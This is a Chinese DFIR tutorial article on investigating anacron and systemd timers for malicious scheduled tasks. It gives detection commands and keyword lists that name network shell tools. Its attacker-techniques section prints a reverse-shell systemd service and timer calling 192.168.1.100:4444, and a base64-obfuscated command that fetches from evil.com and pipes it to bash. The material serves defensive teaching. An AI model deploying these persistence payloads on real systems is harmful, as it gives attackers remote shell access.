[03]应急响应-Linux 计划任务与 DFIR 排查实践(三)

admin 2024年11月29日10:42:16评论26 views字数 6939阅读23分7秒阅读模式

[03]应急响应-Linux 计划任务与 DFIR 排查实践(三)

🔖 在上两《[01]应急响应-Linux 计划任务与 DFIR 排查实践(一)》[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)中,我们入探讨了 cron 、at服务,从基础排查到隐藏任务的分析排查,这一节我们再一块看看anacronSystemd Timers服务

 0x00 免责声明

本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。

0x02 anacron 服务

2.1 工作机制

  • 设计用于非全天候运行的系统,保证错过的任务会在系统恢复后运行。

  • Anacron 会检查每个任务的运行周期和上次运行的时间戳。

  • 如果任务未按计划执行,它将在系统启动后立即补执行任务。

  • 默认配置文件位于 /etc/anacrontab

  • /var/spool/anacron/,存储任务状态的目录,它包含的文件记录了最近一次执行每类任务的时间戳。/var/spool/anacron/ 中记录的时间戳对应 PERIOD 字段,确保任务不会重复执行。 

2.2 配置文件示例

[03]应急响应-Linux 计划任务与 DFIR 排查实践(三)

PERIOD   DELAY   IDENTIFIER   COMMAND
1        5       cron.daily   run-parts /etc/cron.daily

# 字段解释:
# PERIOD:任务的执行周期,单位为“天”。
# 1 表示该任务每天执行一次。
# 如果是 7,则表示任务每周执行一次。
# 如果是 30,则任务每月执行一次。

# DELAY:延迟时间,单位为“分钟”。
# 表示任务在指定周期触发后,等待多久再执行。
# 示例中 5 意味着 Anacron 会在系统开机后 5 分钟执行该任务。

# IDENTIFIER:任务的标识符(名称)。
# 用于日志记录和跟踪。
# 示例中的 cron.daily 是任务的名称,与相关目录 /etc/cron.daily 保持一致。

# COMMAND:需要执行的命令。
# 示例中 run-parts /etc/cron.daily 是一个常用的工具,它会递归执行 /etc/cron.daily 目录中的所有脚本文件。

2.3 常用命令

1. 查看 anacron 任务列表

grep -v '^#' /etc/anacrontab

显示 /etc/anacrontab 文件中所有非注释的行,即所有 anacron 的任务列表。

2. 编辑 anacron 任务

sudo crontab -e

或者直接编辑 /etc/anacrontab 文件:

sudo nano /etc/anacrontab

用于编辑 anacron 的任务列表。

3. 手动运行 anacron 任务

sudo anacron -s

以静默模式运行 anacron,不发送邮件报告。

4. 查看 anacron 日志

grep anacron /var/log/syslog
grep anacron /var/log/messages

2.4 排查方法🎯

  1. 检查配置文件:

cat /etc/anacrontab
ls -l /etc/cron.{daily,weekly,monthly}

关注点:

  • 是否有异常脚本被添加到:

    /etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly。

  • 检查是否有非系统常见任务,如未知文件或脚本。

🔖注:

cronanacron 都使用 /etc/cron.*/*,但处理方式不同:

  • /etc/cron.hourly/:仅由 cron 调度。

  • /etc/cron.daily//etc/cron.weekly//etc/cron.monthly/:可被 cronanacron 使用。

  • 实际归属取决于系统中 cronanacron 的启用情况以及任务调度的时间要求。 

  1. 搜索敏感关键词

扫描 anacron 相关目录中的脚本是否包含恶意命令或行为模式:

grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|eval|exec|chmod|chown|mkfifo|tcpdump)" /etc/cron.*/* /etc/anacrontab

关键词:涵盖了可能被攻击者用于渗透、反向连接、数据传输或隐藏恶意操作的命令。

  1. 查看任务日志

grep 'anacron' /var/log/syslog   # Ubuntu、Debian 等默认使用
grep 'anacron' /var/log/messages   # CentOS、RHEL 等默认使用

同时:
grep 'anacron' /var/log/syslog /var/log/messages

关注点:

  • 是否有异常任务的执行记录。

  • 是否有未知用户触发 anacron

  1. 检查最近的任务修改

确认 anacron 的配置文件或关联任务脚本最近是否被修改过:

find /etc/cron.* /etc/anacrontab -type f -mtime -7 -ls

输出分析:

  • 查看是否有任务在短时间内被修改。

  • 对修改过的文件使用 diff 或直接阅读其内容。

  1. 验证任务完整性

如果系统支持包验证,可以检查相关配置是否被篡改:

rpm -V cronie-anacron
debsums -c cronie-anacron

0x03 Systemd Timers

3.1 Systemd Timers介绍

Systemd Timers 是 Linux 系统中基于 systemd 的计划任务管理工具,旨在取代传统的 cron。它通过 systemd 的服务管理机制提供更灵活、更强大的计划任务功能。它通过 .timer 单元文件定义定时任务,并结合 .service 单元文件执行具体的操作

Systemd Timers 的优点

  • 精确控制:支持秒级调度,并能结合 OnBootSecOnCalendar 等实现复杂的定时规则。

  • 事件驱动:可根据特定事件(如系统启动后)触发任务。

  • 日志与状态追踪:通过 journalctl 记录任务执行日志。

  • 补执行:支持错过的任务自动补执行(类似 anacron)。

核心组件

  • .timer 文件:定义任务的调度规则。

  • .service 文件:定义任务执行的具体操作。

3.2 Systemd Timers 配置及常用命令

  1. 配置systemd 定时器

配置一个 systemd 定时器涉及创建两个文件:一个是服务单元文件(.service,另一个是定时器单元文件(.timer

  • 步骤 1: 创建服务单元文件

创建服务单元文件来定义当定时器触发时要执行的命令。例如,创建一个名为 mytimer.service 的文件:

sudo nano /etc/systemd/system/mytimer.service

在文件中添加以下内容:

[Unit]
Description=My Timer Service

[Service]
Type=oneshot
ExecStart=/usr/bin/echo "Hello, World!" > /tmp/hello.txt

服务执行一个简单的命令,将 "Hello, World!" 写入到 /tmp/hello.txt 文件中。

  • 步骤 2: 创建定时器单元文件

创建定时器单元文件来定义服务的触发频率。例如,创建一个名为 mytimer.timer 的文件:

sudo nano /etc/systemd/system/mytimer.timer

在文件中添加以下内容:

[Unit]
Description=Run mytimer.service every minute

[Timer]
OnCalendar=*-*-* *:0/1:00:00
Persistent=true

[Install]
WantedBy=timers.target

这里,OnCalendar 设置为 *-*-* *:0/1:00:00 表示每分钟触发一次。Persistent=true 表示如果错过了触发时间,系统会在下次启动时尝试补执行。

  • 步骤 3: 启动定时器并使其在启动时运行

启用并启动定时器:

sudo systemctl enable mytimer.timer
sudo systemctl start mytimer.timer

enable 命令使定时器在系统启动时自动运行,start 命令立即启动定时器。

  • 步骤 4: 检查定时器状态

检查定时器的状态以确认它是否按预期工作:

sudo systemctl status mytimer.timer
  • 步骤 5: 查看定时器日志

查看定时器的日志可以帮助你了解服务是否按计划执行:

sudo journalctl -u mytimer.timer

以上步骤创建了一个简单的定时器,它将每分钟执行一次定义在 mytimer.service 中的命令。你可以根据需要调整 ExecStartOnCalendar 的值来执行不同的命令或设置不同的触发频率。

  1. 查看所有定时器

systemctl list-timers
# 使用 --all 参数,显示包括未激活的定时器。

输出示例:

NEXT                         LEFT          LAST                         PASSED       UNIT                ACTIVATES
Sun 2024-11-24 18:00:00 UTC  29min left   Sun 2024-11-24 17:00:00 UTC  30min ago    backup.timer        backup.service
3. 启动和停止定时器
  • 启动定时器:

sudo systemctl start <timer-name>.timer
  • 停止定时器:

sudo systemctl stop <timer-name>.timer
  1. 启用和禁用定时器

  • 启用定时器(开机自动启动):

sudo systemctl enable <timer-name>.timer
  • 禁用定时器:

sudo systemctl disable <timer-name>.timer

3.3 攻击者可能的利用方式

# 创建服务文件
[Unit]
Description=Reverse Shell

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'

[Install]
WantedBy=multi-user.target" > /etc/systemd/system/reverse-shell.service

# 创建定时器文件
[Unit]
Description=Trigger Reverse Shell

[Timer]
OnBootSec=1min
Unit=reverse-shell.service

[Install]
WantedBy=timers.target"
 > /etc/systemd/system/reverse-shell.timer

# 启用并启动定时器
sudo systemctl enable reverse-shell.timer
sudo systemctl start reverse-shell.timer
3.4 排查方法

1. 检查非标准定时器

列出所有定时器,重点关注用户定义的 .timer

systemctl list-timers --all

注意排查未启用或已禁用但仍存在的定时器。

2. 排查 .timer 和 .service 文件

  • 检查 /etc/systemd/system//usr/lib/systemd/system/ 目录下是否存在可疑文件。通常 /usr/lib/systemd/system/ 存放系统自带的 .service.timer,而 /etc/systemd/system/ 是用户或管理员配置的文件。 

  • 重点关注:

    • ExecStart 中是否包含恶意命令。

    • OnCalendar 是否设置为非常频繁的触发时间。

3. 检查新建文件

通过文件时间戳找到最近创建或修改的 .timer.service 文件:

find /etc/systemd/system/ /usr/lib/systemd/system/ -type f -name "*.timer" -o -name "*.service" -mtime -7
4. 检查用户定时器

用户级别的 systemd 定时器,检查用户定时器目录:

ls ~/.config/systemd/user/
5. 查找关键字显示文件名和匹配行号:
grep -Ein "(curl|wget|bash|python|nc|perl)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
增强版:
grep -Ei "(curl|wget|bash|python|nc|perl|scp|ftp|rsync|tar|gzip|7z|ssh|telnet|socat|base64|eval|exec|nohup)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
6. 查看文件修改时间:
stat /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/*
关于 Systemd Timers  的隐藏手法,和上一节 cron 类似,这就简单介绍:
  1. 文件名混淆

  • 通过选择与系统或常见服务类似的文件名进行伪装 ,如sys-update.timerkernel-cleanup.timerbackup.timer。 

  • 加入难以察觉的字符,如使用 Unicode 类似字符(如 sуstem.timer,其中的“у”为西里尔字母)。 

  1. 文件路径隐藏

可能存放在非标准目录中,例如:

  • 用户级别路径:~/.config/systemd/user/

  • 隐藏目录:/etc/.systemd//var/.system/

📌排查:

使用 find 命令递归检查可疑路径:
find /etc /usr /var -type f -name "*.timer" -o -name "*.service" -iname ".*"

检查用户目录中的定时器:
ls -la ~/.config/systemd/user/
3.  结合环境变量绕过检测

3. 结合环境变量绕过检测

攻击者可能通过 EnvironmentFile 加载恶意配置文件,或直接在服务中嵌入动态环境变量。例如:

EnvironmentFile=/etc/sysconfig/malicious.env
ExecStart=/bin/bash -c "$CMD"
其中,malicious.env 文件可能包含如下内容:
CMD='bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
📌排查:
  • 检查定时器或服务文件是否引用外部配置文件。

  • 搜索环境变量的关键字:

grep -Er "EnvironmentFile|Env" 
    /etc/systemd/system/ 
    /usr/lib/systemd/system/ 
    /lib/systemd/system/ 
    ~/.config/systemd/user/ 
    ~/.local/share/systemd/ 
    /var/lib/systemd/ 
    2>/dev/null

4.混淆命令  

通过混淆执行命令来绕过关键字检测:

  • 使用 base64 编码:

ExecStart=/bin/bash -c "$(echo d2dldCAtTyBodHRwOi8vZXZpbC5jb20gfCAvYmluL2Jhc2ggLWk= | base64 -d)"
  • 利用符号替换:

ExecStart=/bin/bash -c "/bin/ba$'x73'h -i >& /dev/tcp/192.168.1.100/4444 0>&1"

小结🗯️

随着我们对 anacron 和 systemd timers 的探讨告一段落,本系列文章也接近尾声。掌握这些计划任务工具的原理和排查方法对于 DFIR 实践至关重要。感谢你的关注,期待未来与你再次探索 Linux 的更多可能。再见!✨

END
[03]应急响应-Linux 计划任务与 DFIR 排查实践(三)
{
    往期精彩回顾

   

}
认识正向代理、反向代理、正向 Shell 和反弹 Shell
Packer-Fuzzer:自动化API模糊提取与漏洞检测
Alibaba Nacos JWT令牌使用默认密钥浅析
[02]应急响应-Linux 计划任务与 DFIR 排查实践(二)

原文始发于微信公众号(Y1X1n安全):[03]应急响应-Linux 计划任务与 DFIR 排查实践(三)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月29日10:42:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [03]应急响应-Linux 计划任务与 DFIR 排查实践(三)https://cn-sec.com/archives/3447865.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息